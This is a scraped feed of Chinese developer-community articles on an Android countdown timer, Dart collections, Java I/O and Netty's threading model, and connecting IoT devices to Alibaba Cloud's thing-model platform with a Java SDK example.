          public void setMillisInFuture(long millisInFuture) {
              long total = millisInFuture + 20;
              this.mMillisInFuture = total;
          }
      
          /**
           * 设置倒计时间隔值
           * @param countdownInterval                 间隔,一般设置为1000毫秒
           */
          public void setCountdownInterval(long countdownInterval) {
              this.mCountdownInterval = countdownInterval;
          }
      
          /**
           * 设置倒计时监听
           * @param countDownListener                 listener
           */
          public void setCountDownListener(TimerListener countDownListener) {
              this.mCountDownListener = countDownListener;
          }
      
      }
    • 如何使用

      //开始
      mCountDownTimer.start();
      //结束销毁
      mCountDownTimer.cancel();
      //暂停
      mCountDownTimer.pause();
      //恢复暂停
      mCountDownTimer.resume();

    代码案例:https://github.com/yangchong211/YCTimer

    ]]>
    Dart语言基础Map、List、Set操作合辑-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 题记
    —— 执剑天涯,从你的点滴积累开始,所及之处,必精益求精,即是折腾每一天。
    Dart语言基础Map、List、Set操作合辑@凡科快图.png

    Header1 Header2
    CSDN 网易云课堂教程
    掘金 EDU学院教程
    知乎 Flutter系列文章

    Flutter完全采用了Dart语言,所以分析Dart语言基础相当于是学习了Flutter语言基础、
    在Dart中,Map用来存储对像类型的数据,List与Set用来存储数组类型的数据。

    本文是来描述 Map 、List 、Set中数据的添加 、修改、循环遍历查询的。


    1 Dart中的Map

    Map用来保存key-value键值对的数据集合, 与Object-C中所说的字典一至,分为无序的HashMap、key的插入顺序的LinkedHashMap、按key的排序顺序的SplayTreeMap,Map的创建实例如下:

    // 创建一个Map实例,默认实现是LinkedHashMap。
    Map()
    
    // 创建一个LinkedHashMap实例,包含other中的所有键值对。
    Map.from(Map other)
    
    // 创建一个Map实例,其中Key和Value由iterable的元素计算得到。
    Map.fromIterable(Iterable iterable, {K key(element), V value(element)})
    
     // 将指定的keys和values关联,创建一个Map实例。
    Map.fromIterables(Iterable<K> keys, Iterable<V> values)
    
     // 使用默认实现LinkedHashMap创建一个严格的Map。
    Map.identity()
    
     // 创建一个不可修改、基于哈希值的Map,包含other所有的项
    Map.unmodifiable(Map other)

    然后在实际项目中结合数据创建Map实例,创建一个空的Map代码如下:

    // 创建一个Map实例, 插入顺序进行排列 默认无数据
      var dic = new Map();
      print(dic);  // {}
      // 创建一个空的Map, Map允许null作为key
      var dic5 = new Map.identity();
      print(dic5);  //{}
    
    

    创建有一个有初始值的Map,代码如下:

      // 根据一个Map创建一个新的Map, 插入顺序进行排列
      var dic1 = new Map.from({'name': '张三'});
      print(dic1);  // {name: 张三}
     
      // 根据List创建Map, 插入顺序进行排列
      List<int> list = [1, 2, 3];
      // 使用默认方式, key和value都是数组对应的元素
      var dic2 = new Map.fromIterable(list);
      print(dic2);  // {1: 1, 2: 2, 3: 3}
    
    
      // 设置key和value的值
      var dic3 = new Map.fromIterable(list, key: (item) => item.toString(), value: (item) => item * item);
      print(dic3);  // {1: 1, 2: 4, 3: 9}
    
      // 创建一个不可修改、基于哈希值的Map
      var dic6 = new Map.unmodifiable({'name': 张三});
      print(dic6); // {name: 张三}

    根据List数据来创建Map,代码如下:

      // 两个数组映射一个字典, 插入顺序进行排列
      List<String> keys = ['name', 'age'];
      var values = [张三, 20];
      // 如果有相同的key值, 后面的值会覆盖前面的值
      var dic4 = new Map.fromIterables(keys, values);
      print(dic4);  // {name: 张三, age: 20}

    对于Map来讲,初始化创建时可以赋值也可以是空的,当创建的可变的Map数据集合时,在实际开发中往往会根据不同的操作来修改不同的数据,如下:

      // 根据一个Map创建一个新的Map, 插入顺序进行排列
      // 在这里通过泛型指定 了 Map中的key的类型为 String类型 value是动态的
      Map<String, dynamic> dic1 = new Map.from({'name': '张三'});
      print(dic1);  // {name: 张三}
    
      //修改name的值 
      dic1['name'] = '李四';
      //向Map中添加新的键值对数据
      dic1['age'] = 23;

    然后获取Map中的数据如下操作;

    //根据key获取对应的值 
    String name = dic1= dic1['name'];
    
    ///遍历获取Map中所有的数据
    dic1.forEach((key, value) {
      print("${key} is ${value}");
    });
    

    2 Dart中的List

    对于List与Set来讲,都是用来存储数组类型数据,区别是Set不可保存重复数据,也就是说Set中的数据具有唯一性,在这里只分析List,Set与List的使用方法一至,使用代码如下:

    // 创建非固定长度的Lsit
    var testList = List();
    // 也可以 List testList = List();
    print(testList.length); // 0
    // 创建固定长度的List
    var fixedList = List(4);
    print(testList.length); // 4
     
     ///向Lsit中添加数据
    testList.add("hello");
    testList.add(123);
     
     
    // 创建元素类型固定的List
    var typeList = List<String>(); // 只能添加字符串类型的元素
     
    typeList.add("张三"); // 正确
    typeList.add(1); // 错误。类型不正确
     
    // 直接赋值 创建List
    var numList = [1, 2, 3];
    

    然后获取List中的数据需要通过索引来获取,List中保存的数据索引从0开始计数,代码如下:

    ///方式一 遍历获取List中的所有数据
    testList.forEach((value) {
      //value 就是List中对应的值
    });
    
    ///方式二 遍历获取List中的所有的数据
    for(int i=0;i<testList.length;i++){
      ///根据索引获取List中的数据
      var value = testList[i];
    }
    
    //方式三
    //while+iterator迭代器遍历,类似Java中的iteator       
    while(testList.iterator.moveNext()) {
      //获取对应的值
      var value = testList.iterator.current;
      
    }
    
    //方式四 增强for循环
    //for-in遍历       
    for (var value in testList) {
      //value 就是List中对应的值
    }
    

    完毕
    公众号 我的大前端生涯

    ]]>
    Java 开发必备! I/O与Netty原理精讲-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 image.png

    一 Java I/O模型

    1 BIO(Blocking IO)

    BIO是同步阻塞模型,一个客户端连接对应一个处理线程。在BIO中,accept和read方法都是阻塞操作,如果没有连接请求,accept方法阻塞;如果无数据可读取,read方法阻塞。

    image.png

    2 NIO(Non Blocking IO)

    NIO是同步非阻塞模型,服务端的一个线程可以处理多个请求,客户端发送的连接请求注册在多路复用器Selector上,服务端线程通过轮询多路复用器查看是否有IO请求,有则进行处理。

    image.png

    NIO的三大核心组件:

    Buffer:用于存储数据,底层基于数组实现,针对8种基本类型提供了对应的缓冲区类。

    Channel:用于进行数据传输,面向缓冲区进行操作,支持双向传输,数据可以从Channel读取到Buffer中,也可以从Buffer写到Channel中。

    Selector:选择器,当向一个Selector中注册Channel后,Selector 内部的机制就可以自动不断地查询(Select)这些注册的Channel是否有已就绪的 I/O 事件(例如可读,可写,网络连接完成等),这样程序就可以很简单地使用一个线程高效地管理多个Channel,也可以说管理多个网络连接,因此,Selector也被称为多路复用器。当某个Channel上面发生了读或者写事件,这个Channel就处于就绪状态,会被Selector监听到,然后通过SelectionKeys可以获取就绪Channel的集合,进行后续的I/O操作。

    image.png

    Epoll是Linux下多路复用IO接口select/poll的增强版本,它能显著提高程序在大量并发连接中只有少量活跃的情况下的系统CPU利用率,获取事件的时候,它无须遍历整个被侦听的描述符集,只要遍历那些被内核IO事件异步唤醒而加入Ready队列的描述符集合就行了。

    3 AIO(NIO 2.0)

    AIO是异步非阻塞模型,一般用于连接数较多且连接时间较长的应用,在读写事件完成后由回调服务去通知程序启动线程进行处理。与NIO不同,当进行读写操作时,只需直接调用read或write方法即可。这两种方法均为异步的,对于读操作而言,当有流可读取时,操作系统会将可读的流传入read方法的缓冲区,并通知应用程序;对于写操作而言,当操作系统将write方法传递的流写入完毕时,操作系统主动通知应用程序。可以理解为,read/write方法都是异步的,完成后会主动调用回调函数。

    二 I/O模型演化

    1 传统I/O模型

    对于传统的I/O通信方式来说,客户端连接到服务端,服务端接收客户端请求并响应的流程为:读取 -> 解码 -> 应用处理 -> 编码 -> 发送结果。服务端为每一个客户端连接新建一个线程,建立通道,从而处理后续的请求,也就是BIO的方式。

    image.png

    这种方式在客户端数量不断增加的情况下,对于连接和请求的响应会急剧下降,并且占用太多线程浪费资源,线程数量也不是没有上限的,会遇到各种瓶颈。虽然可以使用线程池进行优化,但是依然有诸多问题,比如在线程池中所有线程都在处理请求时,无法响应其他的客户端连接,每个客户端依旧需要专门的服务端线程来服务,即使此时客户端无请求,也处于阻塞状态无法释放。基于此,提出了基于事件驱动的Reactor模型。

    2 Reactor模型

    Reactor模式是基于事件驱动开发的,服务端程序处理传入多路请求,并将它们同步分派给请求对应的处理线程,Reactor模式也叫Dispatcher模式,即I/O多路复用统一监听事件,收到事件后分发(Dispatch给某进程),这是编写高性能网络服务器的必备技术之一。

    Reactor模式以NIO为底层支持,核心组成部分包括Reactor和Handler:

    • Reactor:Reactor在一个单独的线程中运行,负责监听和分发事件,分发给适当的处理程序来对I/O事件做出反应。它就像公司的电话接线员,它接听来自客户的电话并将线路转移到适当的联系人。
    • Handlers:处理程序执行I/O事件要完成的实际事件,Reactor通过调度适当的处理程序来响应 I/O 事件,处理程序执行非阻塞操作。类似于客户想要与之交谈的公司中的实际员工。

    根据Reactor的数量和Handler线程数量,可以将Reactor分为三种模型:

    • 单线程模型 (单Reactor单线程)
    • 多线程模型 (单Reactor多线程)
    • 主从多线程模型 (多Reactor多线程)

    单线程模型

    image.png

    Reactor内部通过Selector监控连接事件,收到事件后通过dispatch进行分发,如果是连接建立的事件,则由Acceptor处理,Acceptor通过accept接受连接,并创建一个Handler来处理连接后续的各种事件,如果是读写事件,直接调用连接对应的Handler来处理。

    Handler完成read -> (decode -> compute -> encode) ->send的业务流程。

    这种模型好处是简单,坏处却很明显,当某个Handler阻塞时,会导致其他客户端的handler和accpetor都得不到执行,无法做到高性能,只适用于业务处理非常快速的场景,如redis读写操作。

    多线程模型

    image.png

    主线程中,Reactor对象通过Selector监控连接事件,收到事件后通过dispatch进行分发,如果是连接建立事件,则由Acceptor处理,Acceptor通过accept接收连接,并创建一个Handler来处理后续事件,而Handler只负责响应事件,不进行业务操作,也就是只进行read读取数据和write写出数据,业务处理交给一个线程池进行处理。

    线程池分配一个线程完成真正的业务处理,然后将响应结果交给主进程的Handler处理,Handler将结果send给client。

    单Reactor承担所有事件的监听和响应,而当我们的服务端遇到大量的客户端同时进行连接,或者在请求连接时执行一些耗时操作,比如身份认证,权限检查等,这种瞬时的高并发就容易成为性能瓶颈。

    主从多线程模型

    image.png

    存在多个Reactor,每个Reactor都有自己的Selector选择器,线程和dispatch。

    主线程中的mainReactor通过自己的Selector监控连接建立事件,收到事件后通过Accpetor接收,将新的连接分配给某个子线程。

    子线程中的subReactor将mainReactor分配的连接加入连接队列中通过自己的Selector进行监听,并创建一个Handler用于处理后续事件。

    Handler完成read -> 业务处理 -> send的完整业务流程。

    关于Reactor,最权威的资料应该是Doug Lea大神的Scalable IO in Java,有兴趣的同学可以看看。

    三 Netty线程模型

    Netty线程模型就是Reactor模式的一个实现,如下图所示:

    image.png

    1 线程组

    Netty抽象了两组线程池BossGroup和WorkerGroup,其类型都是NioEventLoopGroup,BossGroup用来接受客户端发来的连接,WorkerGroup则负责对完成TCP三次握手的连接进行处理。

    NioEventLoopGroup里面包含了多个NioEventLoop,管理NioEventLoop的生命周期。每个NioEventLoop中包含了一个NIO Selector、一个队列、一个线程;其中线程用来做轮询注册到Selector上的Channel的读写事件和对投递到队列里面的事件进行处理。

    Boss NioEventLoop线程的执行步骤:

    • 处理accept事件, 与client建立连接, 生成NioSocketChannel。
    • 将NioSocketChannel注册到某个worker NIOEventLoop上的selector。
    • 处理任务队列的任务, 即runAllTasks。

    Worker NioEventLoop线程的执行步骤:

    • 轮询注册到自己Selector上的所有NioSocketChannel的read和write事件。
    • 处理read和write事件,在对应NioSocketChannel处理业务。
    • runAllTasks处理任务队列TaskQueue的任务,一些耗时的业务处理可以放入TaskQueue中慢慢处理,这样不影响数据在pipeline中的流动处理。

    Worker NIOEventLoop处理NioSocketChannel业务时,使用了pipeline (管道),管道中维护了handler处理器链表,用来处理channel中的数据。

    2 ChannelPipeline

    Netty将Channel的数据管道抽象为ChannelPipeline,消息在ChannelPipline中流动和传递。ChannelPipeline持有I/O事件拦截器ChannelHandler的双向链表,由ChannelHandler对I/O事件进行拦截和处理,可以方便的新增和删除ChannelHandler来实现不同的业务逻辑定制,不需要对已有的ChannelHandler进行修改,能够实现对修改封闭和对扩展的支持。

    ChannelPipeline是一系列的ChannelHandler实例,流经一个Channel的入站和出站事件可以被ChannelPipeline 拦截。每当一个新的Channel被创建了,都会建立一个新的ChannelPipeline并绑定到该Channel上,这个关联是永久性的;Channel既不能附上另一个ChannelPipeline也不能分离当前这个。这些都由Netty负责完成,而无需开发人员的特别处理。

    根据起源,一个事件将由ChannelInboundHandler或ChannelOutboundHandler处理,ChannelHandlerContext实现转发或传播到下一个ChannelHandler。一个ChannelHandler处理程序可以通知ChannelPipeline中的下一个ChannelHandler执行。Read事件(入站事件)和write事件(出站事件)使用相同的pipeline,入站事件会从链表head 往后传递到最后一个入站的handler,出站事件会从链表tail往前传递到最前一个出站的 handler,两种类型的 handler 互不干扰。

    image.png

    ChannelInboundHandler回调方法:

    image.png

    ChannelOutboundHandler回调方法:

    image.png

    3 异步非阻塞

    写操作:通过NioSocketChannel的write方法向连接里面写入数据时候是非阻塞的,马上会返回,即使调用写入的线程是我们的业务线程。Netty通过在ChannelPipeline中判断调用NioSocketChannel的write的调用线程是不是其对应的NioEventLoop中的线程,如果发现不是则会把写入请求封装为WriteTask投递到其对应的NioEventLoop中的队列里面,然后等其对应的NioEventLoop中的线程轮询读写事件时候,将其从队列里面取出来执行。

    读操作:当从NioSocketChannel中读取数据时候,并不是需要业务线程阻塞等待,而是等NioEventLoop中的IO轮询线程发现Selector上有数据就绪时,通过事件通知方式来通知业务数据已就绪,可以来读取并处理了。

    每个NioSocketChannel对应的读写事件都是在其对应的NioEventLoop管理的单线程内执行,对同一个NioSocketChannel不存在并发读写,所以无需加锁处理。

    使用Netty框架进行网络通信时,当我们发起I/O请求后会马上返回,而不会阻塞我们的业务调用线程;如果想要获取请求的响应结果,也不需要业务调用线程使用阻塞的方式来等待,而是当响应结果出来的时候,使用I/O线程异步通知业务的方式,所以在整个请求 -> 响应过程中业务线程不会由于阻塞等待而不能干其他事情。

    ]]>
    物模型接入价值与实践-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 物模型价值

    物联网元年

    关键词:探索、快速

    2016年阿里云物联网平台(前称:物联网套件)上线,为客户设备上云提供了通道能力,包括MQTT连接、消息流转等核心功能。
    第一批客户大多基于该模式使用物联网平台能力,当时整个行业处于物联网云平台起步期,包括AWS,Azure起步阶段同样只是提供通道能力。
    基于通道能力,客户使用物联网平台接入方式详见文档 https://developer.aliyun.com/article/746536
    这个阶段的客户大多是硬件厂商,软硬一体开发,尝试物联网转型提升设备价值,对物联网平台的诉求比较简单,希望自己更多参与,对新模式有更多把控力,所以都会采用自定义协议上云。

    test

    物联网繁荣

    关键词:生态、扩展、数字化

    近两年物联网设备、解决方案如雨后春笋般涌出,不少用户希望赶上物联网这波浪潮。这个阶段的客户不仅仅关注设备连云,也开始关注围绕设备产生的解决方案。因此客户角色从硬件厂商,快速扩展到集成商、软件提供商等。由于大量角色的进入,对软硬开发解耦、易扩展的能力提出了诉求。同时我们也发现第一批使用通道能力的平台客户随着自己业务发展、设备扩展,原来的架构已无法支撑,对物联网平台也提出了新的要求。

    举两个典型场景:

    • 老客户升级:某个共享设备提供商,原来仅提供大学校园共享洗衣机服务,利用物联网平台通道能力上云,随着公司业务发展,从共享洗衣机业务扩展到校园淋浴、饮水机、充电桩等多类设备,原来自定义协议和API无法支撑多品类设备,难扩展。需要有一套接入标准和规范,方便快速扩展设备类型。
    • 新生态客户:某个充电桩平台客户,提供充电桩管理平台,作为甲方要求大量桩企(乙方)按照平台规范接入,典型的软硬件分离场景。需要有一套接入标准和规范,方便快速扩展桩企规模。

    这一阶段平台在通道能力之上,提供了物模型能力,物模型可以屏蔽底层设备差异,让软件开发者基于平台提供的标准API开发;硬件开发者基于平台提供的标准协议开发;从而达到软硬开发解耦的目的。

    test

    物联网赋能

    关键词:场景化、智能

    物联网终极目标一定是基于设备采集数据赋能业务,实现数字业务化。例如金融、物流、家居、餐饮、商场、医疗、交通等不同领域通过物联网数字化后,结合数据分析智能化决策、互联互通、场景规则、数字孪生等能力实现纵深领域场景化、智能化。
    这一阶段平台在通道能力、物模型能力之上,还进一步提供设备智能运维、数据分析、可视化、数字孪生等高价值服务,帮助客户数字化后产生真正的业务价值。

    test

    基于以上分析,物联网已经过了最初的“元年”阶段,也迈入了“繁荣”阶段,正逐步朝“问物联网要赋能”的阶段演进。物模型是物联网生态化、高扩展、数字化、智能化非常重要的基础,强烈建议客户使用。

    物模型接入实践

    自定义接入模式

    以一个老客户为例,原来仅使用物联网平台通道能力,下图中1~8流程都需要自定义开发,当客户设备类型足够简单时,该模式复杂度通常不会成为客户痛点。

    test

    面临的挑战

    随着客户接入设备种类越来越多,面临的扩展性问题也越来越严峻。

    test

    使用物模型后的模式

    物模型模式下,设备与云交互协议、云平台设备API都基于物模型标准化了,即使设备不断扩展,客户业务服务器和设备端逻辑都不需要进行调整,保证了扩展性。

    test

    物模型接入流程详细介绍

    流程图

    以下是客户详细接入流程,主要分为:云端配置、设备开发、服务端开发、设备运行时管理四大部分。平台会提供一些工具,使各部分流程更高效。接下来进行详细介绍。
    image.png
    本文试图手把手介绍从0到1接入物模型,还会配套介绍一些接入过程中有帮助的平台能力,所以文章篇幅比较长,事实上客户接入流程还是非常简单的,真正开发只需要涉及到图中红色三个模块。

    如果您希望快速接入,可以直接关注P0部分,其它部分都可以跳过。

    1 云端配置

    1.1 创建产品(P0)

    1.登录物联网平台
    2.创建产品。
    image.png
    说明
    • 所属品类:标准品类库提供了一些供参考的模板,选择后可以修改,建议使用。
    • 节点类型:根据实际选择即可。
    • 数据格式:“ICA标准数据格式(Alink JSON)”表示设备使用标准Alink JSON格式上报数据;“透传/自定义”表示设备可以使用自定义格式,通过Alink特定Topic上报物联网平台,该模式客户需要写脚本进行转换,透传模式在此不做展开,后面单独起文章介绍。

    1.2 物模型建模(P0)

    1.模型查看。
    已有的模型是继承自创建产品时选择的“充电桩”品类模板。
    image.png

    2.编辑模型。
    通过“编辑草稿”,进行修改和添加,最后需要对物模型“发布上线”。
    image.png
    说明
    • 定义物模型非常重要,物模型通过属性、事件、服务三要素描述了设备所有能力,设备和云交互、客户服务器访问设备通过物模型都可以实现协议标准化。如果客户定义的物模型如果足够通用和专业,阿里可以帮助作为ICA行业标准进行推广。
    • 服务的调用方式有:同步调用、异步调用两种模式。客户云端开发调用下行控制API,同步调用和异步调用获取返回结果方式不一样,在后文“3.3”章节详细介绍。

    物模型概念介绍
    物模型介绍文档请参见这里
    了解物模型概念,能够帮助您更好对设备建模。

    1.3 物模型配置

    当前默认是物模型强校验模式,即设备上报数据在IoT平台会进行物模型数据规范强校验,如果不符合规范会报错。
    另外物模型弱校验、免校验、去重等规则也会在近期陆续开放,后期进行文档补充。
    配置之后,会在设备运行时生效。

    关联阅读:4.2 物模型扩展规则校验。

    1.4 注册三元组(P0)

    1.注册设备。
    image.png
    说明
    • 添加设备:测试阶段使用较多,单个添加。
    • 批量添加:量产阶段使用,有两种模式,“自动生成”表示设备标识符(deviceName)由平台按照一定的规则随机颁发;“批量上传”支持客户自定义设备标识符(deviceName)。
    2.查看设备列表。
    可以通过“设备列表”、“批次管理”两种方式查看创建的设备列表。
    image.png
    通过“批次管理”查看这一批次设备详情,并且支持下载三元组列表。
    image.png

    注意:此处设备标识符(deviceName)非常重要,与productKey, deviceSecret一起称为设备的“三元组”,作为设备的唯一身份,大部分情况需要烧录到设备上。

    2 设备开发

    2.1 使用设备SDK开发(P0)

    设备接入SDK文档请参见这里
    image.png

    根据需要选择合适的语言版本。C SDK 建议使用“4.x”版本。

    本文选择 Java SDK进行演示。
    环境准备:https://help.aliyun.com/document_detail/97331.html
    物模型开发:https://help.aliyun.com/document_detail/97333.html

    1.开发之前需要先准备如下好两份数据:

    • 设备证书信息(productKey、deviceName、deviceSecret)
      image.png
    • 设备物模型
      image.png

    为了方便查看物模型详细数据规范,通过导出“物模型TSL”查看详细物模型定义,其中包括物模型属性、事件、服务标识符、参数、数据规范。抽取部分内容,针对以下属性、事件、服务在DEMO中进行开发演示。

        "schema":"https://iotx-tsl.oss-ap-southeast-1.aliyuncs.com/schema.json",
        "profile":{
            "productKey":"a1nhbEV****"
        },
        "properties":[
            {
                "identifier":"acOutMeterIty",
                "name":"交流输出电表底值监测属性",
                "accessMode":"rw",
                "required":false,
                "dataType":{
                    "type":"int",
                    "specs":{
                        "min":"0",
                        "max":"200",
                        "step":"1"
                    }
                }
            }
        ],
        "events":[
            {
                "identifier":"post",
                "name":"post",
                "type":"info",
                "required":true,
                "desc":"属性上报",
                "method":"thing.event.property.post",
                "outputData":[
                    {
                        "identifier":"acOutMeterIty",
                        "name":"交流输出电表底值监测属性",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"200",
                                "step":"1"
                            }
                        }
                    }
                ]
            },
            {
                "identifier":"startChaResEvt",
                "name":"启动充电结果事件",
                "type":"info",
                "required":false,
                "method":"thing.event.startChaResEvt.post",
                "outputData":[
                    {
                        "identifier":"gunNum",
                        "name":"充电枪编号",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"100",
                                "step":"2"
                            }
                        }
                    }
                ]
            }
        ],
        "services":[
            {
                "identifier":"set",
                "name":"set",
                "required":true,
                "callType":"async",
                "desc":"属性设置",
                "method":"thing.service.property.set",
                "inputData":[
                    {
                        "identifier":"acOutMeterIty",
                        "name":"交流输出电表底值监测属性",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"200",
                                "step":"1"
                            }
                        }
                    }
                ],
                "outputData":[
    
                ]
            },
            {
                "identifier":"get",
                "name":"get",
                "required":true,
                "callType":"async",
                "desc":"属性获取",
                "method":"thing.service.property.get",
                "inputData":[
                    "acOutMeterIty"
                ],
                "outputData":[
                    {
                        "identifier":"acOutMeterIty",
                        "name":"交流输出电表底值监测属性",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"200",
                                "step":"1"
                            }
                        }
                    }
                ]
            },
            {
                "identifier":"startChaResService",
                "name":"开启充电",
                "required":false,
                "callType":"async",
                "method":"thing.service.startChaResService",
                "inputData":[
                    {
                        "identifier":"charm",
                        "name":"电量",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"1",
                                "max":"100",
                                "step":"2"
                            }
                        }
                    }
                ],
                "outputData":[
                    {
                        "identifier":"realcharm",
                        "name":"realcharm",
                        "dataType":{
                            "type":"int",
                            "specs":{
                                "min":"0",
                                "max":"100",
                                "step":"2"
                            }
                        }
                    }
                ]
            }
        ]
    }

    2.开发代码。
    如下示例中只需要将三元组,和属性、事件、服务参数替换成您的设备信息。其它代码可以直接运行。

    关于免订阅能力介绍:

    有些设备最资源比较敏感,为了避免初始化订阅大量Alink协议中系统Topic带来的性能开销,平台提供了免订阅能力,即平台帮设备进行Topic订阅。
    SDK只有3.1.0及以后版本支持免订阅能力,并且默认打开该能力。
    如果3.1.0及以后版本SDK您希望取消免订阅,依旧按需订阅Topic,可以设置SDK配置项关闭该能力,在make.settings中设置“FEATURE_MQTT_AUTO_SUBSCRIBE=n”。

    public class Demo {
    
        public static void main(String[] args) throws Exception {
    
            String pk = "a1nhbEVCP**";
            String dn = "7mBP6Dd6IT27Rt***";
            String ds = "*****";
    
            /**
             * 连接 & 认证
             */
            LinkKitInitParams params = new LinkKitInitParams();
    
            // 设置 Mqtt 初始化参数
            IoTMqttClientConfig config = new IoTMqttClientConfig();
            config.productKey = pk;
            config.deviceName = dn;
            config.deviceSecret = ds;
            config.receiveOfflineMsg = false;
            params.mqttClientConfig = config;
    
            // 设置初始化三元组信息,用户传入
            DeviceInfo deviceInfo = new DeviceInfo();
            deviceInfo.productKey = pk;
            deviceInfo.deviceName = dn;
            deviceInfo.deviceSecret = ds;
    
            params.deviceInfo = deviceInfo;
    
            LinkKit.getInstance().init(params, new ILinkKitConnectListener() {
                public void onError(AError aError) {
                    System.out.println("===============FAILURE===============");
                    ALog.e(TAG, "Init Error error=" + aError);
                    System.out.println("===============FAILURE===============");
                }
    
                public void onInitDone(InitResult initResult) {
                    System.out.println("===============SUCCESS===============");
                    ALog.i(TAG, "onInitDone result=" + initResult);
                    System.out.println("===============SUCCESS===============");
                }
    
            });
    
            //此处sleep 5S,由于上面init是异步流程
            Thread.sleep(5000);
    
            /**
             * 物模型开发
             */
    
            /**
             * 上报属性
             */
            Map<String, ValueWrapper> properties = new HashMap<>();
    
            // key为物模型中属性标识符"acOutMeterIty",value需要遵循属性值规范:int类型,取值范围在0~200之间;
            properties.put("acOutMeterIty", new ValueWrapper(10));
    
            LinkKit.getInstance().getDeviceThing().thingPropertyPost(properties, new IPublishResourceListener() {
    
                @Override
                public void onSuccess(String s, Object o) {
                    System.out.println("=====thingPropertyPost success=======");
                    System.out.println(s);
                    System.out.println(JSON.toJSONString(o));
                }
    
                @Override
                public void onError(String s, AError aError) {
                    System.out.println("=====thingPropertyPost failure=======");
                }
            });
    
            // 上报属性之后,云端会返回响应结果,此处是监听云端返回的属性reply
            LinkKit.getInstance().registerOnNotifyListener(new IConnectNotifyListener() {
    
                @Override
                public void onNotify(String s, String s1, AMessage aMessage) {
                    System.out.println("===PROPERTY REPLY===");
                    System.out.println("TOPIC:" + s1);
                    System.out.println("Payload:" + JSON.toJSONString(aMessage));
                }
    
                @Override
                public boolean shouldHandle(String s, String s1) {
                    return false;
                }
    
                @Override
                public void onConnectStateChange(String s, ConnectState connectState) {
                }
            });
    
            /**
             * 上报事件
             */
            HashMap<String, ValueWrapper> eventMap = new HashMap<>();
    
            // key为物模型中事件参数的标识符"gunNum", value为事件参数值需要遵循数值规范:int类型,取值范围0~100之间;
            eventMap.put("gunNum", new ValueWrapper.IntValueWrapper(50));
    
            OutputParams eventOutput = new OutputParams(eventMap);
    
            // 参数identity为"startChaResEvt"属于物模型事件标识符。
            LinkKit.getInstance().getDeviceThing().thingEventPost("startChaResEvt", eventOutput, new IPublishResourceListener() {
                public void onSuccess(String resId, Object o) {
                    System.out.println("=====thingEventPost success=======");
                    System.out.println(resId);
                    System.out.println(JSON.toJSONString(o));
                }
    
                public void onError(String resId, AError aError) {
                    System.out.println("=====thingEventPost failure=======");
                }
            });
    
            /**
             * 监听并执行下行服务
             */
            // 获取设备支持的所有服务
            LinkKit.getInstance().getDeviceThing().getServices();
    
            // 用户可以根据实际情况注册自己需要的服务的监听器
            List<Service> srviceList = LinkKit.getInstance().getDeviceThing().getServices();
    
            for (int i = 0; srviceList != null && i < srviceList.size(); i++) {
                Service service = srviceList.get(i);
    
                LinkKit.getInstance().getDeviceThing().setServiceHandler(service.getIdentifier(), new ITResRequestHandler() {
    
                    public void onProcess(String identify, Object result, ITResResponseCallback itResResponseCallback) {
    
                        System.out.println("onProcess() called with: s = [" + identify + "], o = [" + result + "], itResResponseCallback = [" + itResResponseCallback + "]");
                        System.out.println("收到云端异步服务调用 " + identify);
                        try {
                            /**
                             * 设置属性(property)的模式
                             */
                            // "set"为设置属性默认的标识符
                            if ("set".equals(identify)) {
                                // TODO 用户需要设置真实设备的的属性
                                /**
                                 * 向云端同步设置好的属性值
                                 */
                                Map<String, ValueWrapper> desiredProperty = (Map<String, ValueWrapper>) ((InputParams) result).getData();
    
                                LinkKit.getInstance().getDeviceThing().thingPropertyPost(desiredProperty, new IPublishResourceListener() {
    
                                    @Override
                                    public void onSuccess(String s, Object o) {
                                        if (result instanceof InputParams) {
                                            Map<String, ValueWrapper> data = (Map<String, ValueWrapper>) ((InputParams) result).getData();
                                            //                        data.get()
                                            ALog.d(TAG, "收到异步下行数据 " + data);
                                            // 响应云端 接收数据成功
                                            itResResponseCallback.onComplete(identify, null, null);
                                        } else {
                                            itResResponseCallback.onComplete(identify, null, null);
                                        }
                                    }
    
                                    @Override
                                    public void onError(String s, AError aError) {
                                        AError error = new AError();
                                        error.setCode(100);
                                        error.setMsg("setPropertyFailed.");
                                        itResResponseCallback.onComplete(identify, new ErrorInfo(error), null);
                                    }
                                });
    
                                /**
                                 * 服务(service)的模式
                                 */
                                // "startChaResService"为服务的标识符
                            } else if ("startChaResService".equals(identify)) {
    
                                Map<String, ValueWrapper> inputParams = (Map<String, ValueWrapper>) ((InputParams) result).getData();
                                // TODO 根据服务入参inputParams执行设备逻辑,比如启动充电
                                // 充电完成后,向云端返回输出参数
                                OutputParams outputParams = new OutputParams();
                                // key为"charm"属于物模型中"startChaResService"服务出参标识符,value为出参值遵循数据规范:int类型,数据范围1~100之间;
                                outputParams.put("charm", new ValueWrapper.IntValueWrapper(20));
    
                                itResResponseCallback.onComplete(identify, null, outputParams);
    
                            } else {
                                // 根据不同的服务做不同的处理,跟具体的服务有关系
                                OutputParams outputParams = new OutputParams();
                                // 根据特定服务,按照服务规范返回服务的出参。
                                itResResponseCallback.onComplete(identify, null, outputParams);
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                            ALog.d(TAG, "云端返回数据格式异常");
                        }
                    }
                    public void onSuccess(Object o, OutputParams outputParams) {
                        ALog.d(TAG, "onSuccess() called with: o = [" + o + "], outputParams = [" + outputParams + "]");
                        ALog.d(TAG, "注册服务成功");
                    }
                    public void onFail(Object o, ErrorInfo errorInfo) {
                        ALog.d(TAG, "onFail() called with: o = [" + o + "], errorInfo = [" + errorInfo + "]");
                        ALog.d(TAG, "注册服务失败");
                    }
                });
            }
        }
    }

    说明
    • 上报属性成功,云端会返回REPLY,有以下日志说明设备到云,云到设备的链路全部走通。
    image.png
    • 设备收到属性设置指令,在完成物理设备属性修改后,建议将最新属性同步上报云端。

    2.2 不使用SDK开发

    1.协议准备。
    “2.1 使用设备SDK开发”介绍了使用阿里云提供的SDK进行设备开发,当然您也可以选择不使用SDK,完全基于Alink协议(设备和云交互协议)开发。
    Alink协议文档:https://help.aliyun.com/document_detail/90459.html
